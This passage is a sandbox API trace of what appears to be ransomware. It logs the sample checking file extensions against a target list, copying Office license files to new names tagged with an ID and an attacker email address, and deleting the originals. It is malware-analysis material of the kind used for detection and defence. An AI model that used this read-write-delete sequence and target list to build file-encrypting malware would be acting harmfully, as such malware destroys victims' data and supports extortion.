	[0202.364] lstrlenW (lpString=".ppt") returned 4
	[0202.364] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.365] lstrlenW (lpString=".zip") returned 4
	[0202.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.365] lstrlenW (lpString=".rar") returned 4
	[0202.365] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.365] lstrlenW (lpString=".bz2") returned 4
	[0202.365] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.365] lstrlenW (lpString=".7z") returned 3
	[0202.365] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.365] lstrlenW (lpString=".dbf") returned 4
	[0202.365] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.365] lstrlenW (lpString=".1cd") returned 4
	[0202.365] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.365] lstrlenW (lpString=".jpg") returned 4
	[0202.365] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.365] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.365] lstrlenW (lpString="O365ProPlusR_Subscription3-pl.xrm-ms") returned 36
	[0202.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.366] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11195) returned 1
	[0202.366] CloseHandle (hObject=0x580) returned 1
	[0202.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 0x220
	[0202.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.367] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.367] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.368] GetLastError () returned 0x0
	[0202.368] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0202.370] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0202.371] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.371] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0202.371] SetEndOfFile (hFile=0x594) returned 1
	[0202.371] CloseHandle (hObject=0x594) returned 1
	[0202.372] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.372] SetEndOfFile (hFile=0x580) returned 1
	[0202.375] CloseHandle (hObject=0x580) returned 1
	[0202.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 1
	[0202.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.376] lstrlenW (lpString=".doc") returned 4
	[0202.376] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.376] lstrlenW (lpString=".docx") returned 5
	[0202.376] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.376] lstrlenW (lpString=".pdf") returned 4
	[0202.376] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.376] lstrlenW (lpString=".xls") returned 4
	[0202.376] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.376] lstrlenW (lpString=".xlsx") returned 5
	[0202.376] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.376] lstrlenW (lpString=".ppt") returned 4
	[0202.376] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.376] lstrlenW (lpString=".zip") returned 4
	[0202.376] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.376] lstrlenW (lpString=".rar") returned 4
	[0202.376] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString=".bz2") returned 4
	[0202.377] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString=".7z") returned 3
	[0202.377] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.377] lstrlenW (lpString=".dbf") returned 4
	[0202.377] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.377] lstrlenW (lpString=".1cd") returned 4
	[0202.377] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.377] lstrlenW (lpString=".jpg") returned 4
	[0202.377] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.377] lstrlenW (lpString=".doc") returned 4
	[0202.377] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString=".docx") returned 5
	[0202.377] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.377] lstrlenW (lpString=".pdf") returned 4
	[0202.377] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString=".xls") returned 4
	[0202.377] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString=".xlsx") returned 5
	[0202.377] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.377] lstrlenW (lpString=".ppt") returned 4
	[0202.377] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.377] lstrlenW (lpString=".zip") returned 4
	[0202.377] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.377] lstrlenW (lpString=".rar") returned 4
	[0202.377] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.378] lstrlenW (lpString=".bz2") returned 4
	[0202.378] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.378] lstrlenW (lpString=".7z") returned 3
	[0202.378] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.378] lstrlenW (lpString=".dbf") returned 4
	[0202.378] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.378] lstrlenW (lpString=".1cd") returned 4
	[0202.378] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0202.378] lstrlenW (lpString=".jpg") returned 4
	[0202.378] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.378] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.378] lstrlenW (lpString="O365ProPlusR_Subscription3-ppd.xrm-ms") returned 37
	[0202.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.379] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=28261) returned 1
	[0202.379] CloseHandle (hObject=0x580) returned 1
	[0202.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 0x220
	[0202.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.380] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.380] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.381] GetLastError () returned 0x0
	[0202.381] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0202.383] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0202.384] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.384] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0202.385] SetEndOfFile (hFile=0x594) returned 1
	[0202.385] CloseHandle (hObject=0x594) returned 1
	[0202.385] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.385] SetEndOfFile (hFile=0x580) returned 1
	[0202.388] CloseHandle (hObject=0x580) returned 1
	[0202.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 1
	[0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.390] lstrlenW (lpString=".doc") returned 4
	[0202.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.390] lstrlenW (lpString=".docx") returned 5
	[0202.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.390] lstrlenW (lpString=".pdf") returned 4
	[0202.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.390] lstrlenW (lpString=".xls") returned 4
	[0202.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.390] lstrlenW (lpString=".xlsx") returned 5
	[0202.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.390] lstrlenW (lpString=".ppt") returned 4
	[0202.391] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.391] lstrlenW (lpString=".zip") returned 4
	[0202.391] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString=".rar") returned 4
	[0202.391] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString=".bz2") returned 4
	[0202.391] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString=".7z") returned 3
	[0202.391] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.391] lstrlenW (lpString=".dbf") returned 4
	[0202.391] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.391] lstrlenW (lpString=".1cd") returned 4
	[0202.391] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.391] lstrlenW (lpString=".jpg") returned 4
	[0202.391] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.391] lstrlenW (lpString=".doc") returned 4
	[0202.391] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString=".docx") returned 5
	[0202.391] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.391] lstrlenW (lpString=".pdf") returned 4
	[0202.391] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString=".xls") returned 4
	[0202.391] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.391] lstrlenW (lpString=".xlsx") returned 5
	[0202.391] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.391] lstrlenW (lpString=".ppt") returned 4
	[0202.392] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.392] lstrlenW (lpString=".zip") returned 4
	[0202.392] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.392] lstrlenW (lpString=".rar") returned 4
	[0202.392] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.392] lstrlenW (lpString=".bz2") returned 4
	[0202.392] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.392] lstrlenW (lpString=".7z") returned 3
	[0202.392] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.392] lstrlenW (lpString=".dbf") returned 4
	[0202.392] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.392] lstrlenW (lpString=".1cd") returned 4
	[0202.392] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87
	[0202.392] lstrlenW (lpString=".jpg") returned 4
	[0202.392] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.392] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.392] lstrlenW (lpString="O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 40
	[0202.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.393] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11646) returned 1
	[0202.393] CloseHandle (hObject=0x580) returned 1
	[0202.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0202.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.394] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.394] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.395] GetLastError () returned 0x0
	[0202.395] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0202.589] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0202.677] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.677] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x124, lpOverlapped=0x0) returned 1
	[0202.678] SetEndOfFile (hFile=0x594) returned 1
	[0202.678] CloseHandle (hObject=0x594) returned 1
	[0202.678] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.679] SetEndOfFile (hFile=0x580) returned 1
	[0202.682] CloseHandle (hObject=0x580) returned 1
	[0202.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 1
	[0202.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.684] lstrlenW (lpString=".doc") returned 4
	[0202.684] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.684] lstrlenW (lpString=".docx") returned 5
	[0202.684] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.684] lstrlenW (lpString=".pdf") returned 4
	[0202.684] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString=".xls") returned 4
	[0202.685] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString=".xlsx") returned 5
	[0202.685] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.685] lstrlenW (lpString=".ppt") returned 4
	[0202.685] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.685] lstrlenW (lpString=".zip") returned 4
	[0202.685] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString=".rar") returned 4
	[0202.685] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString=".bz2") returned 4
	[0202.685] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString=".7z") returned 3
	[0202.685] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.685] lstrlenW (lpString=".dbf") returned 4
	[0202.685] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.685] lstrlenW (lpString=".1cd") returned 4
	[0202.685] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
